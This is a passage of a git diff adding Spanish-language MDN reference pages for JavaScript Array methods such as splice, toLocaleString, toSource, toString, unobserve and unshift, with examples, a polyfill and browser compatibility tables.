+// items is ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="Ordenando_con_map">Ordenando con map</h3>
+
+<p>La <code>compareFunction</code> puede ser invocada múltiples veces por elemento dentro del array. Dependiendo de la naturaleza de <code>compareFunction</code>, este puede resultar en una alta penalización de rendimiento. Cuanto más trabajo hace una <code>compareFunction</code> y más elementos hay para ordenar, resulta más recomendable usar una función <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> para ordenar. La idea es recorrer el array una sola vez para extraer los valores usados para ordenar en un array temporal, ordenar el array temporal y luego recorrer el array para lograr el orden correcto.</p>
+
+<pre class="brush: js notranslate">// el array a ordenar
+var list = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
+
+// array temporal contiene objetos con posición y valor de ordenamiento
+var mapped = list.map(function(el, i) {
+  return { index: i, value: el.toLowerCase() };
+})
+
+// ordenando el array mapeado que contiene los valores reducidos
+mapped.sort(function(a, b) {
+  if (a.value &gt; b.value) {
+    return 1;
+  }
+  if (a.value &lt; b.value) {
+    return -1;
+  }
+  return 0;
+});
+
+// contenedor para el orden resultante
+var result = mapped.map(function(el){
+  return list[el.index];
+});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition</td>
+   <td>Standard</td>
+   <td>Definicióñ inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("1.0")}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatIE("5.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Compatibilidad_en_navegadores_2">Compatibilidad en navegadores</h2>
+
+<p>La tabla de compatibilidad en esta página es generada por una data estructurada. Si deseas contribuir a la data, por favor entra a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/splice/index.html b/files/es/web/javascript/referencia/objetos_globales/array/splice/index.html
new file mode 100644
index 0000000000..5d7992a2c4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/splice/index.html
@@ -0,0 +1,148 @@
+---
+title: Array.prototype.splice()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/splice
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>splice()</strong></code> cambia el contenido de un array eliminando elementos existentes y/o agregando nuevos elementos.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-splice.html")}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>array</var>.splice(<var>start[</var>, <var>deleteCount[</var>, <var>item1[</var>, <var>item2[</var>, <em>...]]]]</em>)
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Índice donde se comenzará a cambiar el array (con 0 como origen). Si es mayor que la longitud del array, el punto inicial será la longitud del array. Si es negativo, empezará esa cantidad de elementos contando desde el final.</dd>
+ <dt><code>deleteCount</code> {{optional_inline}}</dt>
+ <dd>Un entero indicando el número de elementos a eliminar del array antiguo.</dd>
+ <dd>Si <code>deleteCount</code> se omite, o si su valor es mayor que <code>arr.length - start</code> (esto significa, si es mayor que el número de elementos restantes del array, comenzando desde <code>start</code>), entonces todos los elementos desde <code>start</code> hasta el final del array serán eliminados.</dd>
+ <dd>Si <code>deleteCount</code> es igual a 0 o negativo, no se eliminará ningún elemento. En este caso, se debe especificar al menos un nuevo elemento (ver más abajo).</dd>
+ <dt><code>item1, item2, <em>...</em></code>  {{optional_inline}}</dt>
+ <dd>Los elementos que se agregarán al array, empezando en el índice <code>start</code>. Si no se especifica ningún elemento, <code>splice()</code> solamente eliminará elementos del array.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un array que contiene los elementos eliminados. Si sólo se ha eliminado un elemento, devuelve un array con un solo elemento. Si no se ha eliminado ningún elemento, devuelve un array vacío.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si especifica un número diferente de elementos a agregar que los que se eliminarán, el array tendrá un tamaño diferente al original una vez finalizada la llamada.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Eliminar_0_elementos_desde_el_índice_2_e_insertar_drum">Eliminar 0 elementos desde el índice 2 e insertar "drum"</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum');
+
+// myFish is ["angel", "clown", "drum", "mandarin", "sturgeon"]
+// removed is [], no elements removed
+</pre>
+
+<h3 id="Eliminar_1_elemento_desde_el_índice_3">Eliminar 1 elemento desde el índice 3</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(3, 1);
+
+// removed is ["mandarin"]
+// myFish is ["angel", "clown", "drum", "sturgeon"]
+</pre>
+
+<h3 id="Eliminar_1_elemento_desde_el_índice_2_e_insertar_trumpet">Eliminar 1 elemento desde el índice 2 e insertar "trumpet"</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon'];
+var removed = myFish.splice(2, 1, 'trumpet');
+
+// myFish is ["angel", "clown", "trumpet", "sturgeon"]
+// removed is ["drum"]</pre>
+
+<h3 id="Eliminar_2_elementos_desde_el_índice_0_e_insertar_parrot_anemone_y_blue">Eliminar 2 elementos desde el índice 0 e insertar "parrot", "anemone" y "blue"</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue');
+
+// myFish is ["parrot", "anemone", "blue", "trumpet", "sturgeon"]
+// removed is ["angel", "clown"]</pre>
+
+<h3 id="Eliminar_2_elementos_desde_el_índice_2">Eliminar 2 elementos desde el índice 2</h3>
+
+<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(myFish.length - 3, 2);
+
+// myFish is ["parrot", "anemone", "sturgeon"]
+// removed is ["blue", "trumpet"]</pre>
+
+<h3 id="Eliminar_1_elemento_desde_el_índice_-2">Eliminar 1 elemento desde el índice -2</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(-2, 1);
+
+// myFish is ["angel", "clown", "sturgeon"]
+// removed is ["mandarin"]</pre>
+
+<h3 id="Eliminar_todos_los_elementos_tras_el_índice_2_(incl.)">Eliminar todos los elementos tras el índice 2 (incl.)</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2);
+
+// myFish is ["angel", "clown"]
+// removed is ["mandarin", "sturgeon"]</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.splice")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()", "push()")}} / {{jsxref("Array.prototype.pop()", "pop()")}} — añade/elimina elementos desde el final de un array</li>
+ <li>{{jsxref("Array.prototype.unshift()", "unshift()")}} / {{jsxref("Array.prototype.shift()", "shift()")}} — añade/elimina elementos desde el principio de un array</li>
+ <li>{{jsxref("Array.prototype.concat()", "concat()")}} — devuelve un nuevo array compuesto por este array unido a otro/s array/s y/o valor/es</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/tolocalestring/index.html b/files/es/web/javascript/referencia/objetos_globales/array/tolocalestring/index.html
new file mode 100644
index 0000000000..0fc418ab47
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/tolocalestring/index.html
@@ -0,0 +1,177 @@
+---
+title: Array.prototype.toLocaleString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/toLocaleString
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>toLocaleString()</strong></code> devuelve una cadena de texto representando los elementos del array. Los elementos son convertidos a texto usando su método <code>toLocaleString</code>  y dichos Strings son separados por un caracter específico para la localidad (como una coma para la separación de decimales “,”).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-tolocalestring.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toLocaleString([<var>locales[</var>, <var>options]]</var>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>Una cadena de texto con una etiqueta de idioma BCP 47, o un array de dichos strings. Para la forma general e interpretación the los argumentos <code>locales</code>, ver la página {{jsxref("Intl")}}.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objeto con las configuraciones, para números ver {{jsxref("Number.prototype.toLocaleString()")}}, y para fechas ver {{jsxref("Date.prototype.toLocaleString()")}}.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una cadena de texto representando los elementos del array.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_locales_y_options">Usando <code>locales</code> y <code>options</code></h3>
+
+<p>Los elementos del array son convertidos a strings usando sus métodos <code>toLocaleString</code>.</p>
+
+<ul>
+ <li><code>Object</code>: {{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li><code>Number</code>: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li><code>Date</code>: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<p>Siempre mostrar la moneda para los strings y números en el array <code>precios</code>:</p>
+
+<pre class="brush: js">var precios = ['$7', 500, 8123, 12];
+precios.toLocaleString('es-AR', { style: 'currency', currency: 'ARS' });
+
+// "$7, $500, $8.123, $12"
+</pre>
+
+<p>Para más ejemplos, ver también {{jsxref("Intl")}}, {{jsxref("NumberFormat")}}, y {{jsxref("DateTimeFormat")}}.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma402/#sup-array.prototype.tolocalestring
+if (!Array.prototype.toLocaleString) {
+  Object.defineProperty(Array.prototype, 'toLocaleString', {
+    value: function(locales, options) {
+      // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var a = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(A, "length")).
+      var len = a.length &gt;&gt;&gt; 0;
+
+      // 3. Let separator be the String value for the
+      //    list-separator String appropriate for the
+      //    host environment's current locale (this is
+      //    derived in an implementation-defined way).
+      // NOTE: In this case, we will use a comma
+      var separator = ',';
+
+      // 4. If len is zero, return the empty String.
+      if (len === 0) {
+        return '';
+      }
+
+      // 5. Let firstElement be ? Get(A, "0").
+      var firstElement = a[0];
+      // 6. If firstElement is undefined or null, then
+      //  a.Let R be the empty String.
+      // 7. Else,
+      //  a. Let R be ?
+      //     ToString(?
+      //       Invoke(
+      //        firstElement,
+      //        "toLocaleString",
+      //        « locales, options »
+      //       )
+      //     )
+      var r = firstElement == null ?
+        '' : firstElement.toLocaleString(locales, options);
+
+      // 8. Let k be 1.
+      var k = 1;
+
+      // 9. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let S be a String value produced by
+        //   concatenating R and separator.
+        var s = r + separator;
+
+        // b. Let nextElement be ? Get(A, ToString(k)).
+        var nextElement = a[k];
+
+        // c. If nextElement is undefined or null, then
+        //   i. Let R be the empty String.
+        // d. Else,
+        //   i. Let R be ?
+        //     ToString(?
+        //       Invoke(
+        //        nextElement,
+        //        "toLocaleString",
+        //        « locales, options »
+        //       )
+        //     )
+        r = nextElement == null ?
+          '' : nextElement.toLocaleString(locales, options);
+
+        // e. Let R be a String value produced by
+        //   concatenating S and R.
+        r = s + r;
+
+        // f. Increase k by 1.
+        k++;
+      }
+
+      // 10. Return R.
+      return r;
+    }
+  });
+}
+</pre>
+
+<p>Si necesitas soportar motores de JavaScript obsoletos que no compatibilizan con <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, es mejor no utilizar los métodos <code>Array.prototype</code>, ya que no se pueden hacer no-enumerables.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>La definicion original fue en ECMAScript 3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Esta definición reemplaza la proporcionada en ECMA-262.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.toLocaleString")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/tosource/index.html b/files/es/web/javascript/referencia/objetos_globales/array/tosource/index.html
new file mode 100644
index 0000000000..ffd8df0b3b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/tosource/index.html
@@ -0,0 +1,112 @@
+---
+title: Array.prototype.toSource()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/toSource
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método <code><strong>toSource()</strong></code> devuelve un string representando el código fuente de un arreglo.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toSource()</pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un string representando el código fuente del arreglo.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>toSource</code>r retorna los siguientes valores:</p>
+
+<ul>
+ <li>Para el objeto global {{jsxref("Array")}}, <code>toSource</code> devuelve el siguiente string indicando que el código fuente no está disponible:
+
+  <pre class="brush: js">function Array() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Para instancias de {{jsxref("Array")}}, <code>toSource</code> devuelve un string representando el código fuente.</li>
+</ul>
+
+<p>Este método suele ser llamado internamente por JavaScript y no explícitamente en código. Puede usar <code>toSource</code> mientras depura para examinar el contenido de un arreglo.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Examinar_el_código_fuente_de_un_arreglo">Examinar el código fuente de un arreglo</h3>
+
+<p>Para examinar el código fuente de un arreglo:</p>
+
+<pre class="brush: js">var alpha = new Array('a', 'b', 'c');
+
+alpha.toSource();
+//devuelve ['a', 'b', 'c']
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No hace parte de ningún estándar. Implementado en JavaScript 1.3.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básicot</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/tostring/index.html b/files/es/web/javascript/referencia/objetos_globales/array/tostring/index.html
new file mode 100644
index 0000000000..402f011e0f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/tostring/index.html
@@ -0,0 +1,78 @@
+---
+title: Array.prototype.toString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/toString
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>toString()</strong></code> devuelve una cadena de caracteres representando el array especificado y sus elementos.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-tostring.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis </h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.toString()</code></pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena de caracteres representando los elementos del array.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El objeto {{jsxref("Array")}} sustituye al método <code>toString</code> de {{jsxref("Object")}}. Para los objetos <code>Array</code>, el método <code>toString</code> une el array y devuelve una cadena de caracteres que contiene cada elemento del array separado por comas.</p>
+
+<p>JavaScript llama al método <code>toString</code> automáticamente cuando un array va a ser representado como un valor de texto o cuando se referencia a un array en una concatenación de caracteres.</p>
+
+<h3 id="Semántica_de_ECMAScript_5">Semántica de ECMAScript 5 </h3>
+
+<p>Desde JavaScript 1.8.5 (Firefox 4), y consistente con la 5ª edición de semántica de ECMAScript, el método <code>toString()</code> es genérico y puede ser usado con cualquier objeto. {{jsxref("Object.prototype.toString()")}} será llamado y devolverá el valor resultante.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.toString")}}</p>
+</div>&gt;
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/unobserve/index.html b/files/es/web/javascript/referencia/objetos_globales/array/unobserve/index.html
new file mode 100644
index 0000000000..37cf23ef2e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/unobserve/index.html
@@ -0,0 +1,127 @@
+---
+title: Array.unobserve()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/unobserve
+translation_of: Archive/Web/JavaScript/Array.unobserve
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método Array<strong>.unobserve()</strong> se utiliza para eliminar observadores asignados por {{jsxref("Array.observe()")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Array.unobserve(<var>arr</var>, <var>callback</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>arr</code></dt>
+ <dd>El array para parar la observación.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La referencia al observador para dejar de llamar <span id="result_box" lang="es"><span class="hps">cada vez que</span> <span class="hps">se realizan cambios</span> <span class="hps">en el a</span></span>rray <strong>arr</strong>.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>Array.unobserve()</code> debe ser llamado después de  {{jsxref("Array.observe()")}} con el fin de eliminar un observador de un array.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">El callback (llamada de retorno)</span> <span class="hps">debe</span> <span class="hps">ser una referencia a</span> <span class="hps">una función y no</span> <span class="hps">una función anónima</span><span>, ya que</span> <span class="hps">esta referencia</span> <span class="hps">se utilizará para</span> borrar <span class="hps">el</span> <span class="hps">observador</span> <span class="hps">anterior.</span> <span class="hps">Es inútil</span> <span class="hps">llamar</span> a </span><strong>Array.unobserve()</strong><span lang="es"><span class="hps"> con</span> <span class="hps">una función anónima</span> <span class="hps">como</span> <span class="hps">callback</span><span>, porque no va a</span> <span class="hps">eliminar ningún </span><span class="hps">observador.</span></span></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Dejando_de_observar_un_array">Dejando de observar un array</h3>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+
+var observer = function(changes) {
+  console.log(changes);
+}
+
+Array.observe(arr, observer);
+​
+arr.push(4);
+// [{type: "splice", object: &lt;arr&gt;, index: 3, removed:[], addedCount: 1}]
+
+Array.unobserve(arr, observer);
+
+arr.pop();
+// The callback wasn't called</pre>
+
+<h3 id="Utilizando_una_función_anónima">Utilizando una función anónima</h3>
+
+<pre class="brush: js">var persons = ['Khalid', 'Ahmed', 'Mohammed'];
+
+Array.observe(persons, function (changes) {
+  console.log(changes);
+});
+
+persons.shift();
+// [{type: "splice", object: &lt;arr&gt;, index: 0, removed: [ "Khalid" ], addedCount: 0 }]
+
+Array.unobserve(persons, function (changes) {
+  console.log(changes);
+});
+
+persons.push('Abdullah');
+// [{type: "splice", object: &lt;arr&gt;, index: 2, removed: [], addedCount: 1 }]
+// The callback will always be called
+</pre>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Array.observe()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Object.observe()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Object.unobserve()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/unshift/index.html b/files/es/web/javascript/referencia/objetos_globales/array/unshift/index.html
new file mode 100644
index 0000000000..4641a05d98
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/unshift/index.html
@@ -0,0 +1,100 @@
+---
+title: Array.prototype.unshift()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/unshift
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>unshift()</strong></code> agrega uno o más elementos al inicio del array, y devuelve la nueva longitud del array.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-unshift.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.unshift(<var>elemento1</var>[, ...[, <var>elementoN</var>]])</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>elemento<em>N</em></code></dt>
+ <dd>Elementos a agregar al inicio del array.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Devuelve</h3>
+
+<p>La nueva propiedad {{jsxref("Array.length", "length")}} del objeto sobre el cual el método fue llamado.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>El método <code>unshift</code> inserta los valores proporcionados al inicio de un objeto del tipo array.</p>
+
